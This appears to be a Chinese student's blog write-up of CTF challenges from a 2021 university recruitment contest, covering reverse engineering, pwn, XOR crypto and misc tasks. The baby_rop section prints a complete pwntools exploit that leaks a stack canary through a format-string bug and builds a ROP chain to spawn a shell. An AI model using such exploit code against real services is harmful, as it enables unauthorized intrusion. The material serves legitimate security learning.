318's Blog

来人间一趟,总要见见太阳

0%

SUS_2021春季招新

WP-318

[RE] 0-year-0ld

啊这。。直接明文吗。。。唉。。re惨被沦为签到题呜呜

[RE] 1-year-0ld

咦,base64嘛
在这里插入图片描述
判断输入长度是48,刚好那个伪flag是36位,嗯,base64
在这里插入图片描述
不过好像也没那么简单,中间还有一次异或运算。。
实话说sub_1400015D0那个函数我没看懂,静态不行用动态,走到异或那一步
在这里插入图片描述
循环了几次,0x59, 0x6F, 0x75。。。这是什么呢
在这里插入图片描述
好家伙,第一次看到跟一句话异或的。。。伪装的很可以
在这里插入图片描述
啧。。乱码。。有点慌,不过base64加密后就正常多了
在这里插入图片描述
Bingo!
在这里插入图片描述

[RE] easyvm

这道题。。。纯靠蒙
据说这种switch结构是模拟虚拟机。。emmmmm不是很懂
可以看到调用了很多次的这两个函数,好像是模拟push和pop的 ?
在这里插入图片描述
继续找哪里才是加密运算,,唉。。switch结构我也不会动调啊。。。
应该是这里吧,盲猜一波异或了
在这里插入图片描述

1
2
3
4
5
6
7
int aa[48] = { 0x01, 0x66, 0x1D, 0x04, 0x1E, 0x0B, 0x1C, 0x1F, 0x2A, 0x2F,
0x5B, 0x45, 0x75, 0x25, 0x06, 0x1A, 0x01, 0x05, 0x60, 0x14,
0x37, 0x7C, 0x26, 0x1A, 0x2C, 0x3B, 0x4A, 0x51, 0x4D, 0x14,
0x06, 0x26, 0x32, 0x18, 0x17, 0x2E, 0x17, 0x00, 0x48, 0x24,
0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF };

char bb[48] = "R3NGJMgiGpj6*Q6*^6TgN#@u^d3a8K2HVGvOcq$Y";

按位异或,诶对了。。( lmy大善人!
在这里插入图片描述
AA tql,但vm不easy。。。。

[RE] babyre

想做完这道题再交wp就给耽搁了。。
smc自修改代码,是反静态逆向的一种方法。这个最开始的函数就是修改的地方了
在这里插入图片描述
ida是可以动调的,走到加密函数步入,f5就可以看到改变了的函数了
在这里插入图片描述
emmmm但这是出题人放水了。。。。
其实这个函数就是把加密函数(Src)的地址传入,然后可以看到它修改了7,8,13,14,15位
在这里插入图片描述
看一下加密前和加密后的hex,对比一下就挺明显的。。。。
在这里插入图片描述
在这里插入图片描述
唉找到正确的加密函数了,往回逆的时候又卡了。。逆不动了呜呜。。等官方wp了

[PWN] baby_rop

第一次做栈溢出之外的pwn啊,得认真记录一下。。。
查看保护,开了NX和CANARY
在这里插入图片描述
开了canary如果出发栈溢出漏洞就会报错,所以先canary绕过,再构造rop链
绕过的方法是泄露出canary的值,这样构造rop时加上canary就能绕过了
在这里插入图片描述

有printf,好耶,可以利用格式化字符串漏洞泄露出canary
( 这个地方的9,是用(0x20-0x08)/4+6算的

1
sh.sendline("%9$p")

然后加上canary时注意填充的位数 (详情看栈。。。

1
payload = 'A' * (0x20-0x08) + p64(canary) +'a'*8 

在这里插入图片描述
绕过canary就可以按常规rop做了(之前培训有讲,照着写就完事了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level = 'debug'
if debug==1:
pwnlib.gdb.attach(p,'b main')
#sh=remote('175.27.138.93',10005)
sh = process('./baby_rop')
elf=ELF('./baby_rop')
libc=ELF('./libc.so.6')

pop_rdi_ret = 0x0000000000400873
libc_start_main_got = 0x0000000000601038
puts_got = 0x0000000000601018
puts_plt = elf.plt['puts']
main_addr = 0x0000000000400726
ret_addr = 0x0000000000400808


print "========leak canary========"

sh.sendline("%9$p")
sh.recvuntil("0x")
canary = int(sh.recv(16),16)
print ("canary=>" +hex(canary))

print "========leak libc_base========"

x = 'A' * 24 + p64(canary) +'a'*8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendline(x)

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print("libc_base=>" +hex(libc_base))

libc_base=libc_base-libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()

print "========get shell========"

sh.recv()
sh.sendline('aa')
payload = 'A' * 24 + p64(canary) +'a'*8 + p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)
sh.sendline(payload)

sh.interactive()

居然做出一道pwn,太感动了!
在这里插入图片描述

[PWN] sandbox

前面计算libc_base就是按正常rop做,但最后不能用system
orw就是open, read, write
用了好多pop_rdi, pop_rdx 的指令,额我是个不会汇编的废物,不抄现成脚本绝对写不出来。。。到libc里找要用的gadget

1
ROPgadget  --binary  libc.so.6  | grep  "****"

在这里插入图片描述
在这里插入图片描述

照着学长的脚本改了改,终于通了,但还有很多地方不明白。。。有空再看看吧

[PWN] bor_pivot

栈迁移。。。。就不知道应该迁哪儿呜呜。。。
目前只知道输出的gift的位置
在这里插入图片描述

[Crypto] EZXOR

hint : 推荐使用工具xortool
在这里插入图片描述
flag出来了但不完整,其实可以猜了
但总归拿到key了,先看一下异或完的txt里是什么
在这里插入图片描述
我们不知道key完整是什么。。但可以把这个几段英文改正确呀
异或就是好,有两个完整的txt,照样也能把key异或出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fin=open('enc.txt','rb')
enc=fin.read()
fin.close()

fin=open('flag.txt','rb')
flag=fin.read()
fin.close()

key=[]
for i in range(len(enc)):
key.append(chr(ord(enc[i])^ord(flag[i])))
fout=open('key.txt','wb')
fout.write(bytes(key))
fout.close()

拿到了,flag:
在这里插入图片描述

[Misc] 签到到到

hint: 五八四十
base58 + base85

[Misc] 2048

说实话这游戏我是玩不到2048的,幸好它好像256就给flag了。。。